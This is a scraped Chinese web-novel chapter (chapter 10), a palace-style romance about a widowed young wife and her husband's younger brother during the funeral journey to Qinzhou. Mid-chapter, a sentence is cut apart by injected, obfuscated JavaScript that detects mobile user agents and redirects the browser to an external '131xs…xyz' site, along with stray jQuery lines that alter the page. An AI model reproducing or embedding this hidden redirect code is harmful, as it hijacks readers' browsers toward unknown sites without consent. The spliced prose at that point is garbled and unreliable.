默认冷灰
24号文字
方正启体

10. 第 10 章

作者:萤照本书字数:K更新时间:
    风摇柳晃。


    羲和乌发侧编,末端只系了根素白的发带。几缕碎发散落,被风吹拂,同发带飘摇,轻轻拂扫过谢无咎的颈间。


    她就这样偏着头耷在他的肩上,毛绒绒的发顶蹭着他的下颌,呼吸轻微,却很是香甜。


    细碎的痒擦过谢无咎喉间,他喉结滚动,下意识想要逃离。


    他厌恶女人,自从母亲王夫人被设计害死的那夜起,他就厌恶女人。


    可是身侧这个女子,一而再再而三地接近于他,轻而易举地闯入他的禁地。


    偏偏她还一无所知。


    她恐怕直到现在都不知道,他与她曾在中秋深夜相会,她将他认作兄长,强抱他满怀,强迫他脱衣,还要他给自己留个孩子。


    此刻,她又伏着他的肩沉沉睡去,将这煎熬的时刻独自留给了他。


    谢无咎身子僵硬地,微微侧移了几寸,以和她隔开距离。可她的脑袋竟像沾在了他的肩上,和他一同歪倒了去,柔软的身子也顺势贴上了他。


    这成何体统?


    谢无咎心一狠,干脆直起身离开。


    可他才站起半身,她竟无意识地直直摔倒,眼见着就要磕上棺材棱角,谢无咎蓦然伸手接住了她的脸蛋。


    线香噼啪,折断了一根。


    她柔软的脸颊落在谢无咎的手心,而他半跪在她身前,一时连呼吸都滞涩了。


    她睡得真沉。


    可这与他有什么关系?


    谢无咎干咳一声,随即抽掌,而她终于有所惊动,眼睫微颤。就在谢无咎以为她要睁眼直面这难堪的一刻时,她居然一脸满足地,蹭了蹭他的手心。


    那抹温香的触感,如游龙惊走,窜进了谢无咎四肢五骸。


    他突然间喉咙干痒,眼前看着的明明是一身孝衣的她,脑海里莫名浮现的,却是她身着胭脂色肚兜,仰躺在小榻上时,索求看他的那双眼眸。


    他一定是疯了。


    “少奶奶,我给你拿了披——”


    织烛才迈进灵堂,一眼望去,如遭雷击,身子急速后撤,一口吞下了没说完的话,又惊又喜地捧着披风,飞奔离去。


    谢无咎哑然回望,完了,说不清了。


    他低声唤了句:“嫂嫂,醒醒。”


    羲和眉头皱了皱,但因梦境香甜,不愿醒来。


    谢无咎摇头微叹,捧着她的脑袋,将她放平在草席上后,抬步离开。


    可才走到月洞门间,却见方才匆匆离去的织烛竟和七杀并肩守在门口,二人各跨一步挡在门口,一副神来杀神佛来杀佛的忠心护主之态。


    “你确定你没瞧错?”七杀语带惊奇地问。


    织烛神神秘秘地笑道:“亲眼所见,岂能有假?”


    谢无咎眉头一拧,这个丫头,这么快就说漏嘴了。但他只是扶着嫂嫂的脸而已,退一万步讲,也不算太过逾矩。七杀是他亲手带大的,想来不会轻信。


    “我就知道大人忍不住要偷亲大少奶奶!我的天爷呀,我要说给计都听!”七杀兴奋地快要蹦上天去了。


    …岂有此理。谢无咎挥袖冷哼上前:“同他说什么?”


    七杀和织烛一个激灵,霎时回身,腿一软,扑通跪倒在地。


    织烛颤抖道:“三公子,奴婢不会把你偷亲少奶奶的事情说出去的。”


    七杀附和道:“大人,此事天知地知你知我知织烛知少奶奶知。额…少奶奶知道吗?”


    “三公子偷偷的,少奶奶不知道。”织烛小声回。


    谢无咎阴沉着脸,“怎么,要抓我去大理寺受审?”


    七杀扁着嘴却仍抑制不住内心的兴奋,大人这话不就是默认了吗?他头摇得拨浪鼓似的,连声道:“不不不,我们给您保守秘密!”


    谢无咎冷哼一声,故意从二人中间走过,破开了这堵人形围墙,“谁让你们守门的?”


    织烛和七杀对视一眼,嗫嚅道:“…那下次我们躲远点?”


    谢无咎彻底无言,负手离去。


    织烛低着头,恭敬地目送他离开,然而谢无咎的身影前脚刚转过拐角,织烛后脚就一咕溜窜到了灵堂里。


    见羲和还蜷缩在草席上睡着,织烛迫不及待想叫醒她分享方才的喜讯,可又不忍心打扰她睡觉,最后略一思忖,竟是匍匐下身子,趴在羲和的耳边,反反复复呢喃道:


    “少奶奶,三公子偷亲你被我看到了,你成功勾引到他啦!”


    羲和做了个奇怪的梦,梦到她被一个额间系着白麻的男人偷亲了,那人亲一次还不够本,竟敢捧着她的脸亲了又亲,亲完后还一脸倨傲地对她说:“你成功勾引到我了。”


    太可怕了!


    可醒来后,织烛和剪檀将她团团围住,满脸喜色地告诉她——这不是梦。


    什么?!小叔偷亲她?!还不止一次?!


    他是什么时候起了这不该有的心思?!他对得起他兄长吗?!


    羲和捧着脸想了彻夜,一会儿握拳说要报复他的轻薄,一会儿又想到他的俊脸,少女怀春,痴痴笑个不停。


    …


    守灵七日后,老夫人发话,要各房的几位公子护送灵柩前往秦州祖坟安葬。


    到底夫妻一场,羲和请求同去,也得到了老夫人的首肯。


    但连向来公务繁忙的谢无咎都特意告假一月,提出要带队扶灵,这事儿就有些不对了。


    羲和担忧不已,生怕谢无咎要在荒郊野外趁机非礼于她,这要是叫几位公子看到还得了,于是特意让织烛去传话:“前去秦州有我足矣,不必劳烦小叔奔波。”


    话从七杀口里传给谢无咎时,却变成了“秦州奔波,幸好有你。”


    谢无咎面色古怪地重复:“你确定,她说幸好有我?”


    七杀眨了眨眼,面不改色地捶胸:“我打包票。”


    “哦,秦州路远,叫她养足精神,做好准备,莫要拖累行路速度。”


    晚间,羲和一边吃着红豆元宵羹,一边听着织烛的回话。


    织烛话才说完,就听啪嗒一声,汤匙掉落在地摔成碎瓷。


    羲和面红耳赤,又羞又恼:“你确定,他让我‘养足精神’,‘做好准备’?他、他想对我……”


    这岂不是暗示要她蓄养精力,以备路上被他纠缠?


    这是什么话,简直是不知轻重、不成体统、不可理喻!


    他就这么喜欢她?连赶路都不愿意放过她?


    …


    十月初一个微雨的清晨,永宁侯府的车驾浩浩荡荡从汴京往秦州去了。


    然而谢无愠的尸首在送回侯府前就已腐败,即便谢无咎斥重金日夜轮换厚冰,那股尸臭却怎么也掩盖不掉。


    羲和的马车最靠近棺椁,连日里总被熏得作呕,却极力克制着不表露出异样。


    这夜,乌云遮天,行至潼关,剪檀终于叫停车马,扶着羲和在河谷边呕得昏天黑地。


    二房所出的二公子谢绍祺下马,叫小厮送去了清水。


    羲和遥遥谢过,谢绍祺只温润一笑,摆摆手。


    那头,三房四公子谢濮存微皱眉头,“你管她做甚?若只我们哥儿几个,早到秦州了。”


    谢绍祺抬唇笑道:“怎么,耽误你早日回汴京逍遥楼找你的相好了?”


    谢濮存猛一拍他,笑骂道:“仔细着些说话,回头在府里可别说漏嘴,叫我夫人晓得。”


    谢绍


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16445821|185099||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    祺无奈失笑:“知道了。大嫂对大哥有心,日子又不好过,你也别总给她脸色瞧。”


    二人躲雨岩壁下,说起小话来。


    七杀也始终关注着羲和的安危,无他,只因她是大人的心上人罢了。虽则临行前她还故意跟大人欲拒还迎,说什么不用他陪,但七杀懂女人的言不由衷,为免大人曲解,他干脆替她把心里话说出来了。


    啧啧,功德无量啊。


    “瞧大少奶奶吐的,脸都皱成一团了,像只花猫。”七杀故意对着谢无咎道。


    计都回:“她一介弱女子随我等日夜兼程,只为送大公子一程,当真是情深义重。”


    七杀“啧”了声,恨铁不成钢地暗拍计都,小声道:“这时候提什么大公子,扫兴!”


    道旁,谢无咎青衣萧肃,负手远眺江水,只当未曾听见他们说话。


    直到夜深时,她的作呕声仍不绝于耳。谢无咎终于掀开帐子,独自行至野林,抬手勾下树间野果。


    七杀愁眉苦脸跟在后头,暗暗嘟囔道:大人这个不开窍的,这时候还摘果子玩,怎么哄女子欢心?


    再看那头,二公子烤完野兔,竟以荷叶包了条兔腿,唤小厮送给了大少奶奶。大少奶奶呕到一半,居然回头对他笑。


    七杀心里不痛快,二公子怎么回事?想捷足先登?他问过大人的意思没?


    谢无咎行至溪涧,将野果在水中来来回回清洗了五遍后,裹在帕里,递给计都:“热水里滚几遍,再送去给她。”


    她?七杀一喜,率先抢过果子,“我去!”


    羲和怔怔坐在河畔,只觉眼前发黑,喉间哽着粘腻厚涩的郁气。


    那只兔腿散发的腥气恰如尸臭,她想起在扬州城时见过的腐尸,清一色僵硬乌青的身体开裂,猩红的血肉张牙咧嘴,露出油腻肥黄的油脂,和暗红爬满蛆虫的五脏。


    “呕。”她灼了手一般丢下兔腿。


    “少奶奶!”剪檀忙蹲下身顺着她的后背,心疼道:“少奶奶,这儿有三公子采的野果,说是极酸,吃了应当胃口会好些。”


    羲和如获至宝,送了枚青果儿至口中,那果子不知为何还带着温热的触感,刚一咬开,果肉便流出恰到好处的酸汁。


    她一连吃了四五颗,胸口涌动的恶心很快压了下去。


    本该向谢无咎道谢的,可那夜梦里被他反反复复亲吻的画面猛地出现在脑海里,羲和打了个寒颤。


    他已经莫名其妙对她芳心暗许了,若她对他再好一点,他岂不是要蹬鼻子上脸了?


    羲和心情很是古怪,不由自主地鬼祟望向他。


    谢无咎却好似一直关注着她,还不等对上眼神,蓦地转身,冷硬地走远了。


    羲和心里一惊,他这是做贼心虚了!


    可暗恋她的人是他,为什么她也会小鹿乱撞?


    她手忙脚乱地爬起身来,朝反方向走去:“剪檀,走。我、我自己捡果子。”


    说完也不管剪檀有没有跟上,步子跑得飞快。


    沿着河谷蜿蜒直下,慢慢地,她玩心渐起,很快把谢无咎抛之脑后。


    忽见河谷边一丛绿叶红果,珊瑚红浆果攒聚成莲,几颗熟透了的裂露黑籽,汁水四溢。


    “这浆果定然很甜,剪檀,我们多摘些!”


    一回头,却见剪檀还够在远处青枣树下打果子,羲和蓦然失笑,也不再唤她。


    她自捡拾了一把红浆果,只在袖口略一擦拭,捏起两颗就要送入口中。


    舌尖方才触及那黑籽一瞬,声后忽传来一声清润的喝止——“别吃,有毒。”


    然而羲和冷不丁叫他声音吓着,竟是一个不察,囫囵将那两颗浆果咽了下肚。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)